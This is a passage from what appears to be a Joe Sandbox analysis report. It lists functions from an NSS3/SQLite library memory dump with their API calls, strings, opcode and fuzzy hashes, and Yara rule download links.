Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: d85b18bbb2e12630fc4156ec3df466ec4efa5c5718d27d0c9531ebeeb5be5e61
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: AC31E0B2A002099BEF208AA8DF167AF77A8EF41358F150434DC14A7B00E775E918C7F2

Function 6C766DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C767D8F,6C767D8F,?,?), ref: 6C766DC8

Part of subcall function 6C7BFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C7BFE08
Part of subcall function 6C7BFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C7BFE1D
Part of subcall function 6C7BFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C7BFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C767D8F,?,?), ref: 6C766DD5

Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C10F3
Part of subcall function 6C7C10C0: EnterCriticalSection.KERNEL32(?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C110C
Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1141
Part of subcall function 6C7C10C0: PR_Unlock.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1182
Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C888FA0,00000000,?,?,?,?,6C767D8F,?,?), ref: 6C766DF7

Part of subcall function 6C7BB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8918D0,?), ref: 6C7BB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C766E35

Part of subcall function 6C7BFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C7BFE29
Part of subcall function 6C7BFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C7BFE3D
Part of subcall function 6C7BFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C7BFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C766E4C

Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C888FE0,00000000), ref: 6C766E82

Part of subcall function 6C766AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C76B21D,00000000,00000000,6C76B219,?,6C766BFB,00000000,?,00000000,00000000,?,?,?,6C76B21D), ref: 6C766B01
Part of subcall function 6C766AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C766B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C766F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C766F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C888FE0,00000000), ref: 6C766F6B
PR_SetError.NSS3(FFFFE005,00000000,6C767D8F,?,?), ref: 6C766FE1

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 2c4884ec62234b06679f089e9f8b332ee1f2f15eb499724cdfb9b5194493a589
Instruction ID: 5c767cad7652662542734f32c451812099acfd814a21e76bb71263242b847cda
Opcode Fuzzy Hash: 2c4884ec62234b06679f089e9f8b332ee1f2f15eb499724cdfb9b5194493a589
Instruction Fuzzy Hash: CD717075E106469FDB00CF16CE44AEAB7A4BF54348F154629EC18D7B11F770EA94CB90

Function 6C7AADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAE10
EnterCriticalSection.KERNEL32(?,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C78D079,00000000,00000001), ref: 6C7AAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAE7F
TlsGetValue.KERNEL32(?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAEF1
free.MOZGLUE(6C78CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C78CDBB,?), ref: 6C7AAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAF30

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: e71c7616216c8e2ac17855674d09f178092a95cbc80dc3505bb565137b077e57
Instruction ID: 03f365079b040759f08a57cbb655b91428b77823eda22c99ed704713942da171
Opcode Fuzzy Hash: e71c7616216c8e2ac17855674d09f178092a95cbc80dc3505bb565137b077e57
Instruction Fuzzy Hash: 6951CFB1A04602AFDB15DF69C985A59B7B4FF08329F044674E81897A02E731F865CFE1

Function 6C784CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C78AB7F,?,00000000,?), ref: 6C784CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C78AB7F,?,00000000,?), ref: 6C784CC8
TlsGetValue.KERNEL32(?,6C78AB7F,?,00000000,?), ref: 6C784CE0
EnterCriticalSection.KERNEL32(?,?,6C78AB7F,?,00000000,?), ref: 6C784CF4
PL_HashTableLookup.NSS3(?,?,?,6C78AB7F,?,00000000,?), ref: 6C784D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C784D10

Part of subcall function 6C80DD70: TlsGetValue.KERNEL32 ref: 6C80DD8C
Part of subcall function 6C80DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C80DDB4

PR_Now.NSS3(?,00000000,?), ref: 6C784D26

Part of subcall function 6C829DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C870A27), ref: 6C829DC6
Part of subcall function 6C829DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C870A27), ref: 6C829DD1
Part of subcall function 6C829DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C829DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C784D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C784DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C784E02

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 59180242b3a3ce95b02b42b7320152ae84f5c71d25fd8fb2eef06a636134e82f
Instruction ID: fd2bb47a2973aed271b11fb9d69356903542efaf43c7b2b15d7a7d33fceca4e6
Opcode Fuzzy Hash: 59180242b3a3ce95b02b42b7320152ae84f5c71d25fd8fb2eef06a636134e82f
Instruction Fuzzy Hash: 3A41F7B6A01205ABEB119F28EE5996A77BCBF1521CF044130EE0887712FB70E924C7F1

Function 6C762E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C762CDA,?,00000000), ref: 6C762E1E

Part of subcall function 6C7BFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C769003,?), ref: 6C7BFD91
Part of subcall function 6C7BFD80: PORT_Alloc_Util.NSS3(A4686C7C,?), ref: 6C7BFDA2
Part of subcall function 6C7BFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C7C,?,?), ref: 6C7BFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C762E33

Part of subcall function 6C7BFD80: free.MOZGLUE(00000000,?,?), ref: 6C7BFDD1

TlsGetValue.KERNEL32 ref: 6C762E4E
EnterCriticalSection.KERNEL32(?), ref: 6C762E5E
PL_HashTableLookup.NSS3(?), ref: 6C762E71
PL_HashTableRemove.NSS3(?), ref: 6C762E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C762E96
PR_Unlock.NSS3 ref: 6C762EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C762EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C762EC5

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 7777554f9e701de560b7cc09a83d5150c1077c6237eb72bc3812220bb435118b
Instruction ID: 70ac1a414e9d85367429477828150acb50a6512409c3e1403f2c28a19ba563ff
Opcode Fuzzy Hash: 7777554f9e701de560b7cc09a83d5150c1077c6237eb72bc3812220bb435118b
Instruction Fuzzy Hash: C8212976E00101A7EF211B29DE0DA9B3B79EB5230DF040531ED1896B52FB32D668C6E1

Function 6C74FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C74FD18
sqlite3_initialize.NSS3 ref: 6C74FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C74FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C74FD99
sqlite3_free.NSS3(00000000), ref: 6C74FE3C
sqlite3_free.NSS3(?), ref: 6C74FEE3
sqlite3_free.NSS3(?), ref: 6C74FEEE

Strings

simple, xrefs: 6C74FC79

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 55e52bc8c0fb1b366ac6ece3b59fef7a18dfec4e65f68bbeb50d27f935d4c959
Instruction ID: 2602f0593a322df1129dc335f20599ae30f2bc75c5843ad11a0b0a63322fa37b
Opcode Fuzzy Hash: 55e52bc8c0fb1b366ac6ece3b59fef7a18dfec4e65f68bbeb50d27f935d4c959
Instruction Fuzzy Hash: 6A9182B0A012158FDB04CF69CA80BAAB7B5FF85318F24C56DD8199B752E731E841CF90

Function 6C755CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C755EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C755EED

Strings

invalid, xrefs: 6C755EBE
unable to close due to unfinalized statements or unfinished backups, xrefs: 6C755E64
%s at line %d of [%.10s], xrefs: 6C755EE0
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C755ED1
misuse, xrefs: 6C755EDB
API call with %s database connection pointer, xrefs: 6C755EC3

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 2d7f317e95db97ac0d7ae6dbc06146838048005b2794db7983b02bf987811b9d
Instruction ID: ecfa72288820e20136dd31ba7b81fc991c78f1242b082718946c97a739383e9f
Opcode Fuzzy Hash: 2d7f317e95db97ac0d7ae6dbc06146838048005b2794db7983b02bf987811b9d
Instruction Fuzzy Hash: DB81D332B057119BEB588F54E689B697370BF4130CF980679D8155BB51CF31E862CBD1

Function 6C73DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C73DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C73DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C73DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C73DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C73DF78

Strings

%s at line %d of [%.10s], xrefs: 6C73DE61, 6C73DE90
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C73DE52, 6C73DE81
database corruption, xrefs: 6C73DE5C, 6C73DE8B

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: c905d300b8836c2e96c8a4a2bb4f2948a3734a9960e5a001869a69c36cce9f2a
Instruction ID: 69f9d3d53994bcc2eca39a504781509767a9b16e066045167518cd84a83465eb
Opcode Fuzzy Hash: c905d300b8836c2e96c8a4a2bb4f2948a3734a9960e5a001869a69c36cce9f2a
Instruction Fuzzy Hash: 0181F3706243219FC715CF25CA80B6A77F1AF95308F14983DE89E8BB92E731E845C796

Function 6C6ECEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C6EB999), ref: 6C6ECFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C6EB999), ref: 6C6ED02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C6EB999), ref: 6C6ED041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C6EB999), ref: 6C83972B

Strings

%s at line %d of [%.10s], xrefs: 6C6ECFEC, 6C6ED018, 6C6ED029, 6C6ED03F, 6C83978B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6ECFDD, 6C6ED00E, 6C6ED022, 6C6ED033, 6C839780
database corruption, xrefs: 6C6ECFE7, 6C6ED013, 6C6ED028, 6C6ED039, 6C6ED03E, 6C839786

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 5bb2053179d86b272fdba1fa42d9d80b8bfc2e82d6f4849e23cb41289104b6e8
Instruction ID: 5d7f5693aee61c11f8457ffea723b98c88161a7c1b007b42c37449a5a871ac2b
Opcode Fuzzy Hash: 5bb2053179d86b272fdba1fa42d9d80b8bfc2e82d6f4849e23cb41289104b6e8
Instruction Fuzzy Hash: 98616B71A052209BC320CF69C900BA6BBF1EF95318F18456EE4499BB82D376D947C7E1

Function 6C7C4DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C7C536F,00000022,?,?,00000000,?), ref: 6C7C4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C7C4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C7C4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C7C4FAE
free.MOZGLUE(?), ref: 6C7C4FC8

Strings

%s=%c%s%c, xrefs: 6C7C4FA9
oS|l", xrefs: 6C7C4DFB, 6C7C4EF4, 6C7C4EC5
%s=%s, xrefs: 6C7C4F89

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oS|l"
API String ID: 2709355791-2111651936
Opcode ID: 8071774b8dc1980ac7b20cbcf75631dc964558fce01af068090ff3fac12310df
Instruction ID: 8b2b9047c241600b46685ff3f5313c003e2e06d296c2b9d91c157e1cef2577d9
Opcode Fuzzy Hash: 8071774b8dc1980ac7b20cbcf75631dc964558fce01af068090ff3fac12310df
Instruction Fuzzy Hash: 9A513871B051478FEB01CA6986907FF7BF99F42308F2A8135E894A7B41D33588059793

Function 6C763E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6C7640D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C763F7F,?,00000055,?,?,6C761666,?,?), ref: 6C7640D9
Part of subcall function 6C7640D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C761666,?,?), ref: 6C7640FC
Part of subcall function 6C7640D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C761666,?,?), ref: 6C764138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C763EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C763ED6

Part of subcall function 6C7BB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8918D0,?), ref: 6C7BB095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C763EEE

Part of subcall function 6C7BFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C7B8D2D,?,00000000,?), ref: 6C7BFB85
Part of subcall function 6C7BFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C7BFBB1

PR_CallOnce.NSS3(6C8C2AA4,6C7C12D0), ref: 6C763F02
PL_FreeArenaPool.NSS3 ref: 6C763F14
PL_FinishArenaPool.NSS3 ref: 6C763F1C

Part of subcall function 6C7C64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C7C127C,00000000,00000000,00000000), ref: 6C7C650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C763F27

Strings

security, xrefs: 6C763EBC

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 1d1d87d69ce5b8dff1cbc70e1c1523164588333c0215a8b498fbb75793184b46
Instruction ID: e096672edc88df03157e4c8afc5badfb6c42dcf971339781ca5db08981c32cd0
Opcode Fuzzy Hash: 1d1d87d69ce5b8dff1cbc70e1c1523164588333c0215a8b498fbb75793184b46
Instruction Fuzzy Hash: DA212B71A043006BD7148F15AD49FAB77A8BB4970CF04093DF959A7B81E730D618C79B

Function 6C7ACC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C7ACD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C7ACE16
PR_SetError.NSS3(00000000,00000000), ref: 6C7AD079

